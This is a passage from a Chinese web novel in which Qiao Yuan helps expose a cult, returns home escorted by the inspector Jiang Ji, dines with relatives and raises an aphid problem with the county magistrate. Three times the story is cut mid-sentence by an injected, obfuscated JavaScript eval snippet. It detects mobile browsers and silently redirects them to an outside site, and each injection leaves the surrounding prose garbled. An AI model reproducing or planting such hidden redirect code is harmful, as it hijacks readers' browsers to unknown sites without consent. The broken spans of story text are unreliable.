见江稷同乔元进来了，温从瞥了他们一眼没好气道：“罗知县，将我前日让你准备的东西拿出来罢。” 罗知县应了一声，冲身旁的书吏打了个手势。没一会儿，那书吏便拿了一卷纸过来，竖着拉开立在几人面前。 纸上写满了密密麻麻的字，还印了官印。 “这是？”乔元疑惑道。 江稷解释道：“是阴神教的罪证。阴神教之事牵连甚广，且并非所有人都知当日之事，将罪证同缘由写在纸上，再贴到镇上各处，好让大家都明白些，也能让严家之事不再重演。” 乔元眼睛一亮，这倒是个好方法。县衙能发出告示同百姓说个清楚，比他们苦口婆心说一百次都有用。 见乔元兴致高了不少，江稷道：“今日烦你过来，便是让你将这地蚕和萤石的细节再同衙内的书吏说一遍，将这证据做足。” 这事简单，乔元应了下来。 罗知县冲书吏点了点头，书吏会意，对乔元做了个请的手势，便将人带去了后头的书案旁。 虽不知道江稷是什么人，但瞧他周身的气度便知也并非凡人。 罗知县见惯了这些公子哥携手出游，眼下即便有外人在场，他也顾不得什么脸面了。 站得离温从行近了些，他道：“温公子，这阴神教着实可恶，居然这样诓骗我后塘镇百姓。好在温公子侠义相助，这才将这帮贼人抓获。只是毕竟出了这样的事儿，温公子可能透透底，今年这百官考绩……” 温从行抿了一口茶水，装作无意道：“罗知县，你也知道的，我既无官职又无学识，这百官考绩，可轮不到我做主。” 罗知县咽了咽口水，脸上的褶子堆起一层赔笑道：“瞧公子这话说的，公子只消同知州大人说一声，想必也不是很为难。” “你是让我替你去诓骗我爹？” “哎哟哟，”罗知县吓得腿一软，“下官哪里敢，不过是想让公子帮着说些好话而已。” 温从行看了江稷一眼，江稷递给他一个眼神，他将身子往后靠了靠找了个舒服的姿势，这才不急不慢道：“倒也不是不行，不过这阴神教扫尾的事儿，你可得办漂亮了。不然就算我想在我爹面前美言两句，罗大人怕是都够不上。” 见温从行应了，罗知县明显松了一口气，他拿起茶壶又给温从行的杯里添上了茶水，“公子说的是，我自然尽心尽力，尽心尽力。” 书吏问的东西不多，乔元又自己添了一些上去，待校阅完出来，已是半个时辰之后。 出来一瞧，江稷正气定神闲地坐着，温从行的头却不知歪到哪处去了。 江稷见乔元出来，起身问道：“都说清楚了？” 乔元点头，“我将地蚕的各色习性，还有萤石的特征都说了一遍，书吏已经记上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009576|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。想来百姓知晓了这事儿，也不会再被骗了。” 事情既已办完，便没有再留在县衙的必要，江稷叫醒歪头小憩的温从行。 温从行醒来迷茫了一瞬，“这就走了？” 江稷笑道：“不若你住这儿？” 几人出县衙的时候，罗知县亲自来相送，并再三保证明日便能将这纸张贴到后塘镇各处。 一直目送几人走远，罗知县高高扬起的嘴角这才放了下来，阴着一张脸走进了县衙内的书斋。 甫一进门，便见书斋里头站着个男子，男子一袭白衣立在书格前，容颜如玉，正悠闲地打量着上头的书籍。 罗知县咽了咽口水，又换了一副面庞，躬身道：“拜见掌使。” 白衣男子回身，随意道：“他们走了？” “是。” “没瞧出端倪罢。” “这是自然。”罗知县笑了笑。 白衣男子抽出书格上的一本书，翻阅了几下又放了回去，“做得好，你今年所求的百官考绩，我自会同掌教说明。既他们走了，牢里羁押的那人先放出来罢。” 罗知县哪敢不从，他道：“何必劳烦掌使，稍后我便差人将他送至掌使处。” 白衣男子道：“不必麻烦，我现在便要将人带走。” 罗知县只得领命，到外头吩咐了衙内的属吏一声，不一会儿，满脸淤青的方士便被带到了白衣男子眼前。 一见到白衣男子，方士声泪俱下，跪倒在地冲他大拜。方士的嘴被百姓打的有些歪斜，说的话很是漏风，罗知县听了几次才听清，他说的是：“多谢掌使救命，多谢掌使救命。” 白衣男子没有分半分目光给方士，这人于他而言不过是只蝼蚁，他朝罗知县道：“人我便先带走了，知县且等着今年的好消息罢。” 说罢，他抬步往外走去，方士见他一走，急忙跟上。 罗知县面上一喜，说了许多恭维之语，一路将白衣男子送上车，这才躬身后退。 驾车的车夫头上带着斗笠，让人看不清他的面容。 白衣男子在车内坐稳，道：“元兴，驾车罢。” 马车这才缓缓动了起来，朝着县衙的反方向奔去。 —— 虽说过程颇为曲折，但蛴螬一事终得落下帷幕，乔元一晚上心情都好得出奇。 晚间睡得早，第二日天刚破晓，乔元便梳洗完毕下楼了。 江稷已经候在大堂了，见她下来，道：“想吃什么，自个儿同仆役说罢。” “温公子呢？怎的不见他。”乔元问道。 “他家里人来催得急，昨日晚间便回去了。”江稷道。 不过几面之缘，也不好探听他人私事。乔元没再追问，同仆役点了些饭食，美美地饱餐一顿。 趁着乔元用饭的功夫，江稷将二人的东西都丢到了新雇的马车里，车夫同样也是新找的，一脸憨相。 待乔元用完饭坐至车内，所有东西都已经被车夫收拾齐整。 江稷骑着来时那匹黑马，跟在马车一旁。 外头天朗气清，正是好风景。 盯着江稷，乔元不知不觉便笑了，她道：“走，我们回家。” 48. 回家 酉时初刻，狂奔了一日的马蹄，终是停歇下来。 明明出门不过十几日，再度看到这几间熟悉的茅屋，乔元还是忍不住吸了吸鼻子。 乔家门口的道儿小，马车驶不进来。 江稷同车夫便帮着她将东西搬到门口，乔元笑着回礼谢过，叩响门扉。 “咚咚咚——” 本以为家里没点着灯，想来是都睡了。不料乔元刚一叩门，远内便传出了乔满山的声音，“谁？”。 乔元乐道：“爹，是我，我回来了。” 乔满山喜不自胜，赶忙放下手里的家伙事儿，冲屋里头道：“孩子她娘，快些出来，元姐儿回来了！” 屋内响起周素的应声，紧接着门栓被打开，乔满山那张黝黑的脸便出现在乔元面前。 乔元冲他一笑，“爹。” 乔满山笑得嘴角快咧到耳后根，“哎，哎，元姐儿，快进来，快进来。” 屋内的周素披了件外衣赶了出来，乔家两兄弟也一股脑儿地跟着跑了出来。 一见到乔元，周素眼眶中盈满泪水，朝她张开双臂，“娘的元姐儿，你可算是回来了。” 许久不见周素，乔元的鼻尖也酸了酸，母女俩抱在一块儿，又哭又笑的。 贴着阿娘的怀抱，乔元的双手拢在周素后背。 这段时日她不在家，她娘像是又瘦了一圈，脊背上的骨头硌人得很。 不过，好在这回她在外头挣到了不少钱回来，她一定能让乔家的日子越过越好。 乔长平站在侧边看着妹妹，自己脸上也挂着笑容。 倒是乔永言，见姐姐只抱阿娘不抱他，贴在乔元脚边吵嚷着要她也抱抱他。 从周素的怀里抬起头，乔元擦了擦眼角的泪水，“阿娘，先别忙哭了，还有外人在呢。” “外人？”乔满山疑惑道。 乔元不在家，乔家人舍不得点油灯，晚上全靠着月光做些熟能生巧的活儿。经乔元一提醒，众人这才看到门外影于暗处的江稷。 作为一家之主，乔满山正了正神色，旋即迎上前躬下身子，“不知大人在此，实是我乔家人失礼，还请大人见谅。” 夜色将江稷面上的神情隐去，他随口道：“无妨。” 知道江稷在场，乔家人方才欢欣地气氛散了些，连最小的乔永言都知道这个时候不能随便说话，免得惹外头的大人不快。 乔元踏出远门，重新站到江稷面前，真心实意道：“这段时日多谢大人，如今我已平安到家，大人一路辛苦，不若早些回去歇息罢。” 江稷看向面前矮他一个头的姑娘，明明二人之间的距离不过半掌，可她偏偏站在月色下，而他则立于黑暗里。 乔家人热热闹闹的场景在他眼前挥之不去，鬼使神差的，江稷反问道：“不请我进去坐坐？” 乔元有些发蒙，她家又小又破，可没什么能招待他的。 连带着乔家人也有些愣住了，这样的大人物也肯驾临他们这样的人家？ 气氛凝滞半晌，乔满山瞧着面前还在发愣的女儿，接话道：“大人肯入寒舍，是我们的福气。” 说罢，他转身同乔长平道：“快去点灯，免得叫大人看不清路。” 周素也顺着乔满山的话说道：“大人护着元姐儿一路劳累，若大人不嫌弃，我这便去做些吃食来，也好让大人在我家歇歇脚。” 江稷一说要进门，乔家几口人忙得像地上旋转的陀螺，陪客人的任务便交到了乔元身上。 在涌泉村，他们二人对外是一门下的师兄妹，且相见之时多半都是有事相商，乔元从未觉得同江稷相处起来有什么压力。 可今日回到石湾村，二人的身份回归原点。家里人都在个各处忙里忙外，偏生没一人敢进这堂屋，木桌上的油灯堪堪照亮二人方寸，乔元罕见地觉得有些无言。 见江稷盯着横梁上的破口不说话，乔元斟酌一会儿道：“此次出行，巡检使可能信我这身本领了？” 江稷转而看向乔元，见她还介意上次之事，垂眸笑道：“姑娘真才实学，我自是佩服。河伯授法之事，我必不再提起。” 乔元轻舒一口气，“多谢大人。” 见乔元明显放松了些，江稷又道：“姑娘既有真本事，以后少不得还有麻烦姑娘的地方。若哪日我寻姑娘来帮忙，姑娘可莫要推辞。” 同江稷共事，虽说会有各种意外，但到手的银锭可是实打实的。乔元一口应下，“巡检使放心，若有我能出力的事儿，尽管吩咐便是。” 乔元一口一个巡检使，仿佛将二人之间的距离重新拉远，涌泉村发生的一切都好似泡影。 莫名的，江稷觉得有些烦躁。 周素进来时，便见自家女儿同大人一人坐一边，也不说话，只呆坐着。 她面上堆起笑，将承盘放平到桌上，“家里没什么好东西能招待的，这碗素面还请大人尝尝鲜。” 清汤的素面抵在碗下，上头排着菇子片和鲜嫩的菜心，凑近一闻，野葱的香味便扑面而来。 乔元帮着将面同筷子递给江稷，“巡检使快趁热尝尝，我阿娘做的素面可是一绝。” 听乔元如此说，放完素面拿着承盘准备去厨房的周素，登时被门槛绊了一下。 乔元忙问道：“阿娘，可有伤到哪里？” 周素回身摆手道：“无妨无妨，你同大人先吃着，你爹还在后头炒几个小菜，我马上便端上来。” 乔元不疑有他，招呼着江稷开始用饭。 这段时日，在外头吃的虽是山珍海味，但到底比不过自家的一碗清汤面。 汤面入口，乔元满足地眯了眯眼，是家的味道。 见乔元吃的津津有味，江稷也夹了一筷放入嘴里。 是碗普通的清汤面，加了点猪油做底子，同他从前在京里吃过素面相比，味道差了一截。可在这样的春夜里，江稷却觉得好似也别有一番风味。 从屋内走出的周素拍了拍自己的胸脯，快步往厨房走去，她得紧赶着要将这消息告诉自家郎君。 谁能想到，这位大人原来不是巡检使的普通官吏，而是正儿八经的巡检使。 天夭了，她家元姐儿是从哪儿惹了这样一尊大佛回来。 小菜被接连端了上来，有风腌小菜，也有去年年节省下的腊肉。周素还特地用野葱炒了几个鸡蛋，又香又好吃。 让乔长平带着乔永言先睡，收拾完厨房的乔满山同周素一齐在堂屋作陪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023448|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 乔满山提了一壶酒上来，先给江稷倒上一杯，再给自己满上，他冲江稷一礼，一口气将满杯酒喝下，“这段时日，多谢大人照顾我家元姐儿。这丫头粗苯，一路上怕是给大人添了不少麻烦，还请大人大人有大量，莫要怪她。” 江稷微微抿了一口杯中的酒，味道粗糙刺喉。他将杯盏放下，瞥了眼乔元道：“乔姑娘很好，她非但没给我添麻烦，还替整个后塘镇的百姓办了件实事，此刻怕是多的有人想要感激她。” 没想到江稷这么上道，乔元带着疑惑的眼神看向他，这人今日怎的这样好心。 闻言，乔满山面上的褶皱松了些，他没往江稷杯里添酒，而是自己又面向他满饮几杯，絮絮说了些感谢的话。 这顿饭吃了小半个时辰才结束，乔家几人将江稷送至门外，黑马在外头的路上打了个响鼻，似是对这长久的等待有些不满。 看着江稷翻身上马，乔元这才道：“夜深露重，大人回去路上小心些。” 江稷点头，没再说话，他修长的双腿一夹马腹，黑马跑了起来，没几步便消失在乔家几人眼前。 这尊大佛一走，乔家人的面上不约而同地放松下来，周素亲亲热热地挽着乔元的手，“元姐儿，咱们快回家，阿娘已经给你烧好热水了。” 乔元笑道：“多谢阿娘，不过先不忙洗漱，我还有样东西想给你们看。” 同爹娘一起回到屋里，确认门窗关好，乔元这才将包袱里的一个木盒子拿了出来。 一打开木盒，上头的一层银锭让乔满山夫妻俩差点惊叫出声，乔元将银锭取出，露出藏在下头的珠翠首饰。 “爹娘，这是我此次同巡检使出去的酬劳。”盒子里摆放的是有一半多是严绍当日给的酬金，剩下的则是江稷给的酬劳。 乔元当日便想过，这钱江稷拿大头，她只分些，也足够她一家人过个好年了。未曾想江稷不仅没收，还给她添了不少。 现在的乔元，自觉富有的很。 “这这——”周素险些一口气缓不上来。 这银锭也太多了，这得多少钱呐！ 乔满山同样立在一旁说不出话来，他家这女儿，比他往上三代加起来都有出息！ 满意地看着爹娘的反应，乔元会心一笑，有了钱，才有好日子。 —— 离开乔家的江稷，第一次觉得夜有些太长了。 他没有趁着月色回到巡检司，而是去了纪师处。 纪师屋里的灯已经熄了。 江稷不管那许多，推开门倒头就躺在外头的小榻上。 阖眼躺了会儿，江稷听到一阵脚步声。 纪师举着油灯走到他面前，用脚踢了踢他，“这么晚过来作甚。” 江稷不答。 纪师凑近他身边，闻了闻道：“你喝酒了？” 江稷这才睁眼，朝他道：“抿了几口。” 纪师嗤了一声道：“你若是想死，便多饮些酒，这样才好死在我前头。” 江稷低声轻笑，“放心罢，仇还没报，我怎会这么轻易就死了。” 纪师不再搭腔，转头从里屋抱了一床毯子丢了过来。 “盖着，别冻死在春夜了。” 49. 方法 翌日一早，乔元还窝在被子里，柴火的‘噼啪’声，同锅碗瓢盆的响动声，便已传入她耳中了。 久违地听到这样的声响，躺在床上的乔元满足地喟叹一声，把头埋入被子更深处。 周素算着日子将乔元的被褥洗过又晒了，被子又软又松，淡淡的皂角香气一整晚都充斥在她鼻尖，说不出有多舒适。 赖了一会儿床，乔元将头探出被子，一鼓作气下来穿好外衣拾掇一番，这才往厨房走去。 多日没见到女儿，周素爱她跟什么似的，见乔元来了，又是递鸡蛋又是送煎饼，塞得乔元两颊鼓鼓囊囊的才肯罢休。 好容易将早饭咽下，乔元院子里四下走动了一会儿消消食，这才同周素知会了声，打算去里正家看看。 昨日回来晚了还未曾去他那处拜见，乔元今日定是要去的。 周素应了一声，乔元回屋提了盒路上带回来的糕点，出发往里正家走去。 刚走过村东的杏树，拐一个弯出来，便见里正在锁门。 乔元嘴角一扬，忙快跑了过去，“里正这是要去哪儿？” 里正似是听到乔家元姐儿的声音，回头一看，瞧果真是她，脸上登时起了笑意，“元姐儿回来了？出去这么些时日，连我都开始盼你回来了。” 乔元走进些，将手上的糕点递给里正，“多日不见，里正可还安好？这是我从灵州带回来的糕点，给里正尝个鲜。” 里正接过她手里的糕点，重新将门打开，“好孩子，难为你出一趟门还惦记我。快，进来坐罢。” 院子里本就摆着几张凳子，里正叫乔元先坐着，回屋又端了一张小几出来。 屋里早上烧的茶水还煨在灶上，里正拿了些散茶出来泡了，递给乔元。“你来我处也没什么好招待的，便尝尝我好友送的茶罢。” 茶叶清香扑鼻，想来是采了头茬的嫩尖焙的，乔元抿了一口，“好茶。” 里正又将乔元送的糕点拆了，递给乔元一块，“茶水清苦，你且配上块糕点压一压。” 乔元笑着接过，两人就着茶水一齐吃了块糕点，乔元这才同里正说起村里的事儿来。 离周进定的时间只剩下十多天了，她既回来了，便得从里正处大致了解整个金台县蚜虫的情况。 里正也想同乔元说这事儿呢，一盏茶的功夫，他便将这段时间发生的事儿细细同她说了。 “所以，现下整个县里各个村中，除了万宝村还剩下一些蚜子，别处都清的差不多了？” 里正应道：“正是。” 乔元看向里正，目光清透，“里正不必瞒我，整个金台县单万宝村还剩下不少蚜子，想来这其中出了不少事儿罢。” 里正知道瞒不住乔元，直接道：“你猜的不错，自我们上次在县衙同傅德清闹过以后，我们村里的人每次送黄板去万宝村，总会受到些冷言冷语的嘲弄。后来只得每次派伯石带队，派些脾气好的去，才不至于酿出大祸来。” 去灵州之前，乔元便知道了这事儿了。 如今回来了，见它还哽在这处，是时候将它解决了。 乔元沉吟了会儿，同里正道：“里正过两日若是有空，可能陪我一道去一趟县衙？” 里正瞧她，“这是有主意了？” 乔元笑笑，“算不上好主意，尽力一试罢了。” 二人又说了好一会儿的话，乔元这才起身告辞。 回家路上，乔元绕道去了村里的农田处看了看。 挂在地头的黄板上，蚜虫的踪迹已经不显。她又下地去看了看，小麦抽出了新的芽穗，绿油油一片，正是好景象。 乔元从地里起身，举目远眺，金台县里对黄板需求日渐减弱，空出来的人手又重新投到了农田里，田间地头到处可见农人的身影。 待万宝村的蚜虫一除，这场声势浩大的蚜害终是可以落幕了。 午间，乔满山父子几个也回来用饭。乔家地里该种的东西都种完了，事儿比春初农忙时候少了不少，乔元便也不用日日去田里送饭了。 一家人聚在一块儿，吃着饭喝些汤水，其乐融融的。 饭桌上周素忽的想起一件事儿，同乔元道：“元姐儿，今晨你姨母托人送了信来，问你可回来了？他们家等着摆席面请你呢。” 乔元嘴里吃着咸口的菜糊，含糊道：“姨母家为何请我？” 周素拿软布擦了擦乔元的嘴角，“傻丫头，自然是为着你当初救了姨父的事儿。你姨父同姨母后来到了咱们家一趟，听说你同巡检司的大人出远门了，便叫我记得同你说，等你回来定要好好摆一桌席面请你。” 乔元倒没想到姨父姨母这么客气，她同周素道：“都是亲戚，何必如此破费，阿娘你且让姨父姨母省了这桌席面罢。” 周素道：“我自知晓你会这么说，让送信人带口信回去了。” 李家刚嫁完女儿，因着李展的事儿前后又费了不少银钱，想来是怕尽不到礼数这才派人来送口信。 周素既已经回了，想来应该不打紧，乔元便也没将这事儿放在心上。 不料第二日一早，李家的人便来了。 李展同周兰各自手里提着东西，一见到乔元，面上笑盈盈的，不住地拉着她说些感谢的话。 乔元有些无力招架，便自告奋勇去地里喊爹和大哥回来。 周素连劝阻的话都未及说出口，便见女儿已经跑远了。“这孩子……” 去地里找到乔满山同乔长平，与他们说明缘由，乔元这才跟在二人后头慢吞吞地走回家来。 有了乔满山坐镇，两家人客客气气地说了会儿话，李展当着众人的面，又着重谢过乔元，这事儿这才告一段落。 眼瞧着快到午飧十分了，李展说什么也要请乔家人去县里头的酒楼吃一顿饭，乔满山同周素劝了好几次实在劝不下来，索性便由着他了。 李展来时特地借了辆宽敞的牛车，乔满山又同王嫂家借了一辆，这才勉强挤下两家人，一行人热热闹闹地往县里走去。 一路上，乔永言在牛车上四处张望着，这里瞧瞧那里看看，眼里俱是兴奋。小嘴叽里呱啦地说些什么，逗得车上的大人们笑得前俯后仰的。 好容易到了地方，乔元抬头一看，上头招牌上写着几个大字‘全福酒楼’。 金台县叫得出名号的酒楼没几家，全福酒楼就算是其中的佼佼者。 李展走在最前头，店门口的仆役一见有客人，笑着便迎了上来，“几位客官，要吃些什么喝些什么？” 李展同仆役要了间雅间，让女人和孩子们先上去，他同乔满山二人则在下头点了些时兴菜式。 雅间里头山水屏风同雕花灯盏俱全，青瓷碗筷整齐地摆放在桌上，瞧着便让人心生欢喜。 乔家几人在周兰的指挥下先后落座，他们这些大人见到新鲜事物，言谈间也便过去了。整个雅间里只有乔永言乐得跟什么似的，在房间里四处跑来跑去，时不时还要跑到乔元身边，小心翼翼地碰着桌上的青瓷碗。 “二姐姐，你说用这样漂亮的碗用饭，是不是饭食都会香上好多？” 乔元摸了摸他的头，“永言喜欢这样漂亮的碗？” 乔永言的眼睫很长，说话的时候眨着眼，像是一只扑闪着翅膀的小蝴蝶，“喜欢的，不过家里的小碗我也喜欢。” 乔家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037035|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贫苦，乔永言从小便过惯了这样的苦日子，外头的东西再好，在他看来，也知晓并不是自己的。 乔元没再说话，这孩子瞧着每天像是只在外头疯玩，到底是比一般孩子懂事些。 李展同乔满山二人回来后不久，点的几个凉菜陆续便上来了。 糟鸭、卤水豆腐、蜜青瓜、凉拌千丝和鱼脍，将圆桌各处摆了个满满当当。 都是自家人，没什么好拘礼的，虽说只是前菜，却也超过乔家日日入口的那些了。 见乔长平和乔永言吃的起劲，边夹着凉菜，乔元边思考起来。 如今靠着替周进同江稷做事，攒下了不少本钱，这钱现在看着虽然不少，但乔家一家五口，光吃喝用度一年就得费不少银钱。 人生在世，头疼脑热的也是常事，不出几年这些钱就会被耗的七七八八。她得趁着现在有本钱想个营生出来，好叫这钱能接着生钱。 “元姐儿？元姐儿？”乔元正想的人神，忽闻有人喊她。 抬头一看，正是周兰。 “这丫头，平日里没规矩惯了，还好今日是在姨母面前，不然少不得要被人说道几句。”周素替她打圆场。 乔元忙带着歉意冲周兰笑笑，“姨母有何事？” 周兰笑道：“姨母是瞧着你光顾着发呆，没怎么动面前的饭菜，可是这些吃食不合胃口？” 乔元道：“姨母这是哪里的话，这饭菜极好，是我自己个儿走神了，反倒叫姨母替我操心。” 说完，她夹了几筷新上的炖肉，吃的津津有味。 周兰见乔元吃的正香，转而同周素道：“说来你家元姐儿可真是我们家的福星。” 周素正吃着蜜青瓜，包在外头的蜜糖甜而不腻，她吃了好几口，“这话怎么说？” 周兰笑道：“你可记得那日秀姐儿嫁出去了，你家元姐儿在席面前同我说的？” 周素哪里还记得，她道：“她是说些什么了，让你觉得像是捡到宝似的？” 周兰一听便知妹妹忘了，她道：“那日你家元姐儿，小大人似的让我记得将种豆的地深耕翻一翻，你可记得？” 周素一听这话，倒是想起来一些，“怎的？” “我播种那日本觉得麻烦，可瞧着天气晴好，便把家里几个叫出来把这地往深处挖，挖出来的土足足晒了两天才将这种豆下去。谁曾想，这土深挖出来晒了，今年我们村种豆的地，就我家的螟虫长得少，你说你家元姐儿是不是福星。” 原来是这事儿。 周素看了一眼女儿，对着姐姐道：“小孩子瞎胡闹说的，你可别真把功归给她了。” 李展同乔满山在一旁吃酒，听到周素的话，驳道：“姨妹此言差矣，若元姐儿真是瞎胡闹，她这做黄板的本事又从哪里来，我倒不瞒你，她如今都是七里八乡的名人了，就连我们村都有不少人同我打听她呢。” 周兰拍了李展一下，这人几两黄汤下肚便开始说胡话了。 李展被周兰一拍，这才意识到不妥，不再插话，只同乔满山接着饮酒。 周兰又同周素说些别的，乔家几个孩子则规规矩矩地吃着饭，一顿饭下来，也算是主客尽欢。 待席面结束，李展结完账出来，一行人陆续上了来时的牛车。 两家人住的地方不同，李展同周兰二人又絮絮说了些，这才同乔家人告辞。 同姨父和姨母告别后，乔元也上了牛车，一家人往家的方向走去。 回程漫长，乔元百无聊赖地盯着临街各处的风景随意打量。 忽的，两个身影吸引了乔元的注意。 瞧着像是……傅德清同乔伯石？！ 50. 找茬 他们二人怎会搅在一处？ 乔元心头一凛，扶着牛车栏探身就往外头看。 傅德清走在前头，乔伯石跟在他身后，二人朝着一处酒楼走去，言谈热切。正当她还想再看得清楚些，却不料牛车一拐，眼前只剩下一堵厚墙了。 周素讶于女儿的举动，忙拉了她一把，“元姐儿，这是看见什么了？仔细掉下去。” 乔元压下心底的疑惑，反手握着周素的手重新坐下。“阿娘，无事。” 坐在对面的乔长平笑道：“妹妹莫不是看到了什么喜欢的首饰，这才巴巴地趴出去看？” 怕家人多想，乔元回道：“然也，瞧见了个漂亮的木簪子。” 乔长平还从未见乔元如此喜欢一个发簪，道：“既妹妹这么说了，回家你同哥说是个什么式样，哥也给你打一个。” 乔元被他认真的样子逗笑了，“那便多谢哥哥了。” 回到家中，一切如旧。 倒是乔长平还完牛车，真回来问了乔元喜欢的发簪式样。乔元拗不过他，随意说了个常见的样子，便将这事儿搪塞过去了。 同里正约好两日后去县衙，趁着这几日得空，乔元请了里正陪着，一道去各处的村里转了转。 里正说的不错，各个村子里的农田基本都恢复正常运转了，现下便只剩下一个万宝村还留有蚜灾。 蚜害左右不过那样，即便知晓万宝村有异，乔元也没稀得去看，她心里犹疑的是乔伯石同傅德清。 初去县衙那日，里正那日被傅德清为难，乔伯石脸上的愤恨不似作伪，但偏偏她那日所见也是真的。 这二人，怎么看都不像是一路人。 乔元有些想不通，但这事儿既被她发现，乔元便留了个心眼。 两日后。 依旧是乔伯石驾车，里正同乔元坐在后头，三人一大早便去了县衙。 县衙里头人人忙慌慌的，他们进去等了许久也不见有人搭理。乔元耐不住起身转了一圈，恰巧碰见吴才从外头回来，乔元忙拦住他，行礼后道：“吴典使，敢问知县大人可在？” 吴才见是乔元，回道：“姑娘来的不巧了，知县大人今早便出去了。” 周进难得不在县衙，这倒是乔元未曾预料的。她追问道：“典使大人可知，知县大人何时才会回来？” 吴才冲着高堂一礼，“我怎敢询问知县大人行踪，大人外出公干事务繁忙，何时归来岂是我等可以揣测的。” 见他这样答，乔元便知问不出什么话来了。她同吴才打过几次交道，深知在周进手底下办差的人是什么德行。 乔元从袖口里掏出一小块银锭，塞进吴才手里，“典使大人为民操劳，当真是金台县一众官员的表率，小小心意，还请大人莫要推辞。” 吴才捏了捏银锭的分量，眼尾这才有了笑意，“乔姑娘客气了，为民谋福，这都是应当的。” 乔元紧接着问道：“敢问大人，知县大人去了何处？” 吴才回答的很是爽利，“快月底了，眼瞧着州里巡查的大人要来了，县口的大路都是泥沙不太妥当，知县大人正派了人在修路呢。” 谢过吴才，乔元重新走了回来。 里正问道：“元姐儿，如何？知县大人怎的还不接见我们？” 乔元道：“我方才遇见吴典使，他同我道，知县大人不在县衙，正在县东修路。” “修路？”里正迟疑道，“既如此，不若我们改日再来？” 乔元道：“里正，听吴典使说，州里巡查的大人不日就要抵达。我们今日既然来了，不如将事儿早些同知县禀报为好，免得夜长梦多。” 从解决蚜害开始，村里的很多事儿便都由元姐儿做主了，里正闻言也没反对，顺着她的意思，几人坐上牛车去县东寻周进。 上次乔元同江稷去灵州，走的是西北的官道，这还是她第一回走县东。 从县衙走出，一路经过学塾同街市，沿街道路很是热闹，惹得乔元多看了好几眼。再往外走出几里，便见几堆耸得高高的砂石，想来便是此处了。 绕过砂石堆，前头拦了一根粗木，粗木外头坐了个身材魁梧的汉子。 见乔元几人往里行进，汉子赶忙拦着：“前头正在修路，此处无法通行。” 乔元道：“敢问知县大人可在？” 汉子倒未曾料到这姑娘是来寻知县的，他道：“知县大人正在里头的茶摊。” 乔元道：“大哥可能行个方便，我等寻知县有要事禀报。” 哪有什么要事会劳烦个姑娘家来禀报，汉子目露迟疑，迟迟不肯答应。 里正见状，往前走了半步，“不若这样，劳烦同知县身旁的属吏禀告一声，就说石湾村的乔元来了，至于见或不见，便由知县来定。如此既不违背你的差事儿，也能给我们个交代。” 汉子一听，是这个理儿。 他叮嘱乔元几人千万不能越过粗木，这才急急往里头跑去。 乔元几人找了处背阴的地方将牛车停好，又等了好一会儿，这才见汉子出来。 他冲乔元几人挥挥手，示意他们快些过来。待人到齐，他将粗木往后一拉，路上便多了个入口。 乔元几人先后顺着入口进到里头，这才在汉子的接引下往茶摊走去。 “先头说石湾村我还没反应过来，进了里头同属吏说了，才想起这除蚜的黄板就是石湾村的来的。几位可就是那发明黄板之人？”汉子搓手道。 里正闻言笑道：“你是不知，这黄板就是你面前这姑娘做出来的。” 汉子只听说这黄板是石湾村来的，在他想来，能做出如此精妙东西的定是个识文断字的哥儿，没曾想倒是个姑娘，他面上的热忱淡了些，附和了几句便没再说话了。 这样的冷遇乔元在古崖村便遇过一回，世风如此，她倒不甚介怀。 汉子一路引他们到茶摊，周进正坐在上头。 茶摊扎在树荫下，周进身侧还站着个属吏在给他扇风，他面前不远处便是在烈日下铺石子的工匠，两相比较，他这处便更显惬意了。 见乔元几人来了，周进随意道：“乔姑娘这么着急见我，有何要事？” 乔元走进茶摊同周进行了礼，“大人，我今次前来，是想同大人说个好消息。” 周进将身子摆正了些，抬眼看她，“什么消息？” “恭喜大人，金台县的蚜害已经除去大半，待州里的巡查来时，田地里必定是一片欣欣向荣。” 听到这等消息，周进因燥热而皱起的眉头松了些许，他对乔元点头道：“做的不错，待巡查走后，本知县定会论功行赏。” 乔元躬身谢过，随后又道：“敢问大人，巡查来时可定好要去哪几处村子了？” 周进抬眼，“此话何意？” 乔元将身子躬地更低些，“小人心头有一事，不知该不该同知县大人禀报。” 周进道：“你说便是。” 乔元面上很是犹疑，这才道：“待巡查来时，还请大人务必别去万宝村，那儿的蚜害反复无常，若是去了那处，只怕会累及大人官声。” 周进丰厚的嘴唇下沉地厉害，“怎么回事？” 万宝村富庶，村里不仅良田众多，屋子同路都修的极好，周进一开始便打算先让州里来的巡查到这处瞧一瞧看一看。 “这……”乔元支吾道：“送去的黄板都是最好的，派去治蚜的人也是精挑细选的，小人实在不知。” 周进没好气地挥退身侧扇风的属吏，“你，速去叫傅德清来此处见我。” 属吏放下手中的扇子，领命而去。 乔元见周进面色不虞，同里正还有乔伯石一起，垂眼候在一旁没说话。 